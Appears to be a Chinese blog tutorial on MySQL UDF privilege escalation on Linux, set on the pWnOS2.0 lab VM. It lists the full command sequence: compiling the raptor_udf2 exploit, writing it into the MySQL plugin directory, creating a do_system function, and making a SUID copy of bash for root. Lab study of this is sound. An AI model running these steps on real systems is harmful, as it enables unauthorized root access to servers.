当前位置: 首页 > news >正文

渗透测试:数据库UDF提权(linux)

目录

开头:

1.UDF提权简介:

1.1共享库文件(UDF文件)指定目录:

版本特征:

操作系统版本:

2.靶场UDF提权复现

提权前提

1.要有一个高权限的MySQL的账号

​编辑 2.MySQL的权限配置secure_file_priv为空

 3.必须有存放UDF文件的目录

提权过程

1.重命名UDF文件:

2.目标主机上编译UDF文件:

3.进入mysql利用:

3.总结:


开头:

学习的视频是哔哩哔哩红队笔记:

红队打靶:pWnOS2.0打靶思路详解(vulnhub)-CSDN博客

打靶时参考文章和本文借鉴文章:

渗透测试:MySQL数据库UDF提权详解-CSDN博客

靶机下载链接见:

http://pwnos.com/files/pWnOS_v2.0.7z

本篇文章,主要讲解UDF提权,也是上篇靶场的第二种提权方法红队笔记10:pWnOS2.0打靶流程-whatweb指纹识别-searchsploit搜索漏洞利用getshell(vulnhub)-CSDN博客

1.UDF提权简介:

UDF:User Defined Function 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。

提权原理:攻击者通过编写,能调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,在数据库中通过导入的共享库文件创建自定义函数,该自定义函数功能依照于共享库文件的功能,从而在数据库中调用该自定义函数能够使用系统命令(就像使用version()函数可以查看数据库版本,自定义函数就可以执行系统命令)

执行过程:本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下

(1)攻击者编写,可以调用用cmd或者shel的共享库文件(window为.dll,linux为.so),将共享库导入指定的函数目录中。

(2)在MySQL中创建自定义函数其功能有共享库文件提权。(类似于python中的写了一个函数,其函数主要功能是python内置库中所提供的)

(3)通过创建的函数执行系统命令,实现提权。

1.1共享库文件(UDF文件)指定目录:

版本特征:

mysql版本不同UDF文件指定存放目录也不同;

操作系统版本:

操作系统版本不同UDF文件指定存放目录也不同;

2.靶场UDF提权复现

本文靶场复现UDF提权的环境 linux mysql >5.1 

提权前提

1.要有一个高权限的MySQL的账号

具有增删改查的权限以创建自定义函数,最好是root账号。

查看当前登录用户(以下两行均可):

select user();
select current_user;

我们这里登录的用户是root,最高权限;如果不是root,可以用以下命令查看特定用户的权限,可以将root修改为任意用户,\G每个字段打印到单独的行,也有’;’的作用: 

SELECT * FROM mysql.user WHERE user='root'\G

Y :代表用户该权限 ,还可以用如下的命令查看数据库的所有用户:

SELECT user,host FROM mysql.user;
 2.MySQL的权限配置secure_file_priv为空

secure_file_priv为空表示 load_data,into outfile,load_flie() 文件操作类函数都没有目录的限制,可以使用如下命令查看secure_file_priv参数的值:

show variables like '%secure_file_priv%';

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。

1.secure_file_priv的值为null表示限制mysql不允许导入/导出,

2.secure_file_priv的值为/tmp/ 表示限制mysql的导入/导出只能发生在/tmp/目录下。

3.secure_file_priv的值没有具体值时表示不对mysql 的导入/导出做限制。

 3.必须有存放UDF文件的目录

这个目录与MySQL的版本和操作系统有关,对于linux MySQL>=5.1的版本,创建函数的目录是plugin,可以用如下的命令查看:

show variables like '%plugin%';

 只有存在这个目录才有可能进行UDF提权,不存在就要去创建。

提权过程

可以知道UDF提权需要有个可以执行系统命令的UDF文件,所有我们使用searchsploit 搜索mysql UDF 获得UDF文件.

searchsploit mysql udf 

此处我们可以根据MySQL的版本进行选择,这里选择比较通用的第二条1518.c,把1518.c下载下来: 

searchsploit mysql udf -m 1518

 

cat 1518.c

 1518.c中的内容有很多,我们重点看用法Usage中的内容,读者如果单纯想进行提权,只要一步一步copy下图中的命令即可,注意修改路径即可

1.重命名UDF文件:

用法中首先使用gcc编译,编译的文件名为raptor_udf2.c,因此我们可以先将这个1518.c改名为raptor_udf2.c,方便后续操作,命令如下:

mv 1518.c raptor_udf2.c
2.目标主机上编译UDF文件:

进行gcc编译,这里最好在靶机中编译(而不是kali),因为不同环境的编译结果可能不一样,既然要对靶机提权,那就在靶机中进行编译。

怎么将UDF文件上传到目标靶嘞?

1.都在内网-获得初步shell:本地开启有个web服务,目标靶机wget下载

2.目标靶机外网-自己在内网:将UDF文件上传到自己服务器开启web服务,目标wget下载

3.根据目标靶机web的功能,如本篇靶机web存在图片上传功能且不存在过滤,就可以将udf上传到目标主机

gcc -g -c raptor_udf2.c -fPIC

该命令是使用gcc编译器来编译名为"raptor_udf2.c"的源代码文件,并生成一个目标文件(object file)。

-g:这个参数告诉编译器在目标文件中包含调试信息。这将使得在调试程序时可以获得更多的信息,例如变量的值和源代码的行号。

-c:这个参数告诉编译器只进行编译而不进行链接。它将源代码文件编译成一个目标文件,而不是生成可执行文件。这在构建大型程序时通常是一个常用的步骤。通常会生成.o文件。

-fPIC:虽然Usage中没有提到这个参数,但还是建议加上。这个参数指定编译为位置独立代码(Position Independent Code)。位置独立代码是一种可执行代码的格式,它可以在内存中的任何位置加载和执行,而不依赖于特定的内存布局。这在生成共享库(shared library)时非常有用,因为共享库可以加载到进程的任何地址空间中。

接着按照1518.c中注释的Usage一步一步执行命令即可,下一条命令是:

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

该命令是使用gcc编译器将名为"raptor_udf2.o"的目标文件链接为一个共享库(shared library)文件,并命名为"raptor_udf2.so"。下面是每个选项的解释: 

-g:这个选项告诉编译器在生成的共享库文件中包含调试信息。

-shared:这个选项指定编译器生成一个共享库文件,而不是可执行文件。共享库是一种可被多个程序共享和重用的代码库。

-Wl,-soname,raptor_udf2.so:这个选项将"-soname"参数传递给链接器(ld)。"-soname"用于指定生成的共享库文件的名字,这里是"raptor_udf2.so"。

-o raptor_udf2.so:这个选项指定生成的共享库文件的输出文件名,这里是"raptor_udf2.so"。

raptor_udf2.o:这是要链接的目标文件的名称。

-lc:这个选项告诉链接器使用C标准库(libc)。

这样.so 的UDF文件通过编译获得。

3.进入mysql利用:

总结利用过程

1.创建foo表:

2.将UDF文件内容写入foo表

3.将foo表中的UDF文件内容,导出到指定目录中并以UDF文件名命名(2,3实现了将UDF表导入指定目录)

4.通过指定目录下的UDF文件提供的功能创建自定义函数

然后我们登录靶机上的MySQL,需要有一个高权限的用户,对于靶机pWnOS2.0,我已经搞到了数据库root账号的密码,登录即可:

mysql -u root -p
输入密码

use mysql;
create table foo(line blob);

use mysql;语句用于切换当前数据库为"mysql"。

CREATE TABLE foo(line blob);。表示在当前数据库中创建一个名为"foo"的表。该表只有一个列名为"line",并且该列的数据类型是BLOB(二进制大对象)。BLOB类型用于存储二进制数据,如图像、音频、视频等。

insert into foo values(load_file('/var/www/blog/images/raptor_udf2.so'));

该SQL语句将加载'/var/www/blog/images/raptor_udf2.so'文件的内容,并将其作为二进制数据插入到"foo"表的"line"列中。(将我们创建的UDF文件,以二进制数据写入foo表中)

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

该SQL语句用于导出"foo"表中所有行的数据,并将其以文本形式写入到'/usr/lib/mysql/plugin/raptor_udf2.so'文件中。特别注意,这里的写入路径是plugin目录的路径,在“提权前提”小节中已经提到,如果你不知道plugin目录的路径,可以用show variables like '%plugin%';进行查看。

create function do_system returns integer soname 'raptor_udf2.so';

 这个SQL语句用于在MySQL中创建一个名为"do_system"的函数,该函数返回一个整数值。该函数的实现由外部库"raptor_udf2.so"提供。

select * from mysql.func;

 查看我们是否成功创建了函数。

此时我们应该可以使用do_system函数执行任意系统命令了。那么我们可以do_system函数进行提权。命令如下:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

do_system中的这条Linux命令是将/bin/bash(Bash shell可执行文件)复制到/tmp目录下,并将复制后的文件命名为rootbash。接着,使用chmod命令给/tmp/rootbash设置权限,使用+xs参数将其设为可执行文件,并将其所有者的权限设置为具有特殊权限。接下来我们只要在www-data的shell中执行rootbash即可,先退出MySQL,然后运行rootbash:

/tmp/rootbash -p

提权成功!

3.总结:

本文虽然是在linux环境下,使用UDF提权成功了,但是在真实环境中linux很难存在UDF提权,因为UDF提权需要一个plugin文件,并且我们要有能够写入的权限,在Linux严格的系统权限下,mysql用户或web用户无plugin目录的写入权限。

使用UDF提权主要是在windows系统上进行提权,但是不同操作系统UDF文件导入目录不同,所有要根据具体环境来进行微调操作

相关文章:

渗透测试:数据库UDF提权(linux)

目录 开头: 1.UDF提权简介: 1.1共享库文件(UDF文件)指定目录: 版本特征: 操作系统版本: 2.靶场UDF提权复现 提权前提 1.要有一个高权限的MySQL的账号 ​编辑 2.MySQL的权限配置secure_file_priv为空 3.必须有存放UDF文件的…...

java算法day45 | 动态规划part07 ● 70. 爬楼梯 (进阶) ● 322. 零钱兑换 ● 279.完全平方数

70. 爬楼梯 &#xff08;进阶&#xff09; 题目描述&#xff1a; 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬至多m (1 < m < n)个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 注意&#xff1a;给定 n 是一个正整数。 输入描述&#xff1a;输入…...

HuggingFace踩坑记录-连不上,根本连不上

学习 transformers 的第一步&#xff0c;往往是几句简单的代码 from transformers import pipelineclassifier pipeline("sentiment-analysis") classifier("We are very happy to show you the &#x1f917; Transformers library.") ""&quo…...

面试题:Spring Boot Starter的功能与使用场景

Spring Boot Starter 是 Spring Boot 框架为了简化项目的初始化和配置工作而设计的一种模块化依赖管理方式。它主要具有以下几个关键功能和使用场景&#xff1a; 功能&#xff1a; 1. 依赖管理每个 Starter 都是一组相关的依赖项集合&#xff0c;这些依赖项都是为了实现特定功能…...

上位机图像处理和嵌入式模块部署(qmacvisual之n点标定)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 工业场景中&#xff0c;很多时候图像是用来做测量的。虽然我们很希望载台是平的&#xff0c;摄像头是正对着拍摄物体的&#xff0c;但是运行时间长…...

Francek Chen 的128天创作纪念日

目录 Francek Chen 的128天创作纪念日机缘收获日常成就憧憬 Francek Chen 的128天创作纪念日 Francek Chen 的个人主页 机缘 不知不觉的加入CSDN已有两年时间了&#xff0c;最初我第一次接触CSDN技术社区是在2022年4月的时候&#xff0c;通过学长给我们推荐了几个IT社区平台&a…...

PyTorch之Torch Script的简单使用

一、参考资料 TorchScript 简介 Torch Script Loading a TorchScript Model in C TorchScript 解读&#xff08;一&#xff09;&#xff1a;初识 TorchScript libtorch教程&#xff08;一&#xff09;开发环境搭建&#xff1a;VSlibtorch和Qtlibtorch 二、Torch Script模型格…...

vscode 连接远程服务器 服务器无法上网 离线配置 .vscode-server

离线配置 vscode 连接远程服务器 .vscode-server 1. .vscode-server下载 使用vscode连接远程服务器时会自动下载配置.vscode-server文件夹&#xff0c;如果远程服务器无法联网&#xff0c;则需要手动下载 1&#xff09;网址&#xff1a;https://update.code.visualstudio.com…...

arm开发板移植工具mkfs.ext4

文章目录 一、前言二、手动安装e2fsprogs1、下载源码包2、解压源码3、配置4、编译5、安装 三、移植四、验证五、总结 一、前言 在buildroot菜单中&#xff0c;可以通过勾选e2fsprogs工具来安装mkfs.ext4工具&#xff1a; Target packages -> Filesystem and flash utilit…...

某盾滑块拼图验证码增强版

介绍 提示&#xff1a;文章仅供交流学习&#xff0c;严禁用于非法用途&#xff0c;如有不当可联系本人删除 最近某盾新推出了&#xff0c;滑块拼图验证码&#xff0c;如下图所示&#xff0c;这篇文章介绍怎么识别滑块距离相关。 参数attrs 通过GET请求获取的参数attrs, 决…...

这个世界万物存在只有一种关系:博弈

$上证指数(SH000001)$ 我能给各位最大的帮助可能就是第一个从红警游戏引入了情绪周期视角的概念&#xff0c;而这个概念可以帮助很多人理解市场成为一种可能性&#xff0c;如果不理解可以重新回归游戏进行反复体验&#xff0c;你体验的足够多&#xff0c;思考的足够多&#xff…...

c#让不同的工厂生产不同的“鸭肉”

任务目标 实现对周黑鸭工厂的产品生产统一管理&#xff0c;主要产品包括鸭脖和鸭翅。武汉工厂能生生产鸭脖和鸭翅&#xff0c;南京工厂只能生产鸭翅&#xff0c;长沙工厂只能生产鸭脖。 分析任务 我们需要有武汉工厂、南京工厂、长沙工厂的类&#xff0c;类中需要实现生产鸭…...

大数据分析与内存计算——Spark安装以及Hadoop操作——注意事项

一、Spark安装 1.相关链接 Spark安装和编程实践&#xff08;Spark3.4.0&#xff09;_厦大数据库实验室博客 (xmu.edu.cn) 2.安装Spark&#xff08;Local模式&#xff09; 按照文章中的步骤安装即可 遇到问题&#xff1a;xshell以及xftp不能使用 解决办法&#xff1a; 在…...

论文阅读RangeDet: In Defense of Range View for LiDAR-based 3D Object Detection

文章目录 RangeDet: In Defense of Range View for LiDAR-based 3D Object Detection问题笛卡尔坐标结构图Meta-Kernel Convolution RangeDet: In Defense of Range View for LiDAR-based 3D Object Detection 论文&#xff1a;https://arxiv.org/pdf/2103.10039.pdf 代码&…...

3D模型格式转换工具HOOPS Exchange如何将3D文件加载到PRC数据结构中?

HOOPS Exchange是一款高效的数据访问工具&#xff0c;专为开发人员设计&#xff0c;用于在不同的CAD&#xff08;计算机辅助设计&#xff09;系统之间进行高保真的数据转换和交换。由Tech Soft 3D公司开发&#xff0c;它支持广泛的CAD文件格式&#xff0c;包括但不限于AutoCAD的…...

c# wpf Template ContentTemplate

1.概要 1.1 定义内容的外观 2.2 要点分析 2.代码 <Window x:Class"WpfApp2.Window1"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d"http://schem…...

空和null是两回事

文章目录 前言 StringUtils1. 空&#xff08;empty&#xff09;&#xff1a;字符串&#xff1a;集合&#xff1a; 2. null&#xff1a;引用类型变量&#xff1a;基本类型变量&#xff1a; 3. isBlank总结&#xff1a; 前言 StringUtils 提示&#xff1a;这里可以添加本文要记录…...

UNIAPP(小程序)每十个文章中间一个广告

三十秒刷新一次广告 ad-intervals"30" <template><view style"margin: 30rpx;"><view class"" v-for"(item,index) in 100"><!-- 广告 --><view style"margin-bottom: 20rpx;" v-if"(inde…...

pip包安装用国内镜像源

一&#xff1a;临时用国内源 可以在使用pip的时候加参数-i https://pypi.tuna.tsinghua.edu.cn/simple 例如&#xff1a;pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyspider&#xff0c;这样就会从清华这边的镜像去安装pyspider库 清华&#xff1a;https://py…...

uniapp:小程序腾讯地图程序文件qqmap-wx-jssdk.js 文件一直找不到无法导入

先看问题&#xff1a; 在使用腾讯地图api时无法导入到qqmap-wx-jssdk.js文件 解决方法&#xff1a;1、打开qqmap-wx-jssdk.js最后一行 然后导入&#xff1a;这里是我的路径位置&#xff0c;可以根据自己的路径位置进行更改导入 最后在生命周期函数中输出&#xff1a; 运行效果…...

[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?

&#x1f9e0; 智能合约中的数据是如何在区块链中保持一致的&#xff1f; 为什么所有区块链节点都能得出相同结果&#xff1f;合约调用这么复杂&#xff0c;状态真能保持一致吗&#xff1f;本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里&#xf…...

日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻

在如今就业市场竞争日益激烈的背景下&#xff0c;越来越多的求职者将目光投向了日本及中日双语岗位。但是&#xff0c;一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧&#xff1f;面对生疏的日语交流环境&#xff0c;即便提前恶补了…...

springboot 百货中心供应链管理系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;百货中心供应链管理系统被用户普遍使用&#xff0c;为方…...

label-studio的使用教程(导入本地路径)

文章目录 1. 准备环境2. 脚本启动2.1 Windows2.2 Linux 3. 安装label-studio机器学习后端3.1 pip安装(推荐)3.2 GitHub仓库安装 4. 后端配置4.1 yolo环境4.2 引入后端模型4.3 修改脚本4.4 启动后端 5. 标注工程5.1 创建工程5.2 配置图片路径5.3 配置工程类型标签5.4 配置模型5.…...

12.找到字符串中所有字母异位词

&#x1f9e0; 题目解析 题目描述&#xff1a; 给定两个字符串 s 和 p&#xff0c;找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义&#xff1a; 若两个字符串包含的字符种类和出现次数完全相同&#xff0c;顺序无所谓&#xff0c;则互为…...

【JavaSE】绘图与事件入门学习笔记

-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角&#xff0c;以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向&#xff0c;距离坐标原点x个像素;第二个是y坐标&#xff0c;表示当前位置为垂直方向&#xff0c;距离坐标原点y个像素。 坐标体系-像素 …...

Map相关知识

数据结构 二叉树 二叉树&#xff0c;顾名思义&#xff0c;每个节点最多有两个“叉”&#xff0c;也就是两个子节点&#xff0c;分别是左子 节点和右子节点。不过&#xff0c;二叉树并不要求每个节点都有两个子节点&#xff0c;有的节点只 有左子节点&#xff0c;有的节点只有…...

MySQL:分区的基本使用

目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区&#xff08;Partitioning&#xff09;是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分&#xff08;分区&#xff09;可以独立存储、管理和优化&#xff0c;…...

Mysql故障排插与环境优化

前置知识点 最上层是一些客户端和连接服务&#xff0c;包含本 sock 通信和大多数jiyukehuduan/服务端工具实现的TCP/IP通信。主要完成一些简介处理、授权认证、及相关的安全方案等。在该层上引入了线程池的概念&#xff0c;为通过安全认证接入的客户端提供线程。同样在该层上可…...

内窥镜检查中基于提示的息肉分割|文献速递-深度学习医疗AI最新文献

Title 题目 Prompt-based polyp segmentation during endoscopy 内窥镜检查中基于提示的息肉分割 01 文献速递介绍 以下是对这段英文内容的中文翻译&#xff1a; ### 胃肠道癌症的发病率呈上升趋势&#xff0c;且有年轻化倾向&#xff08;Bray等人&#xff0c;2018&#x…...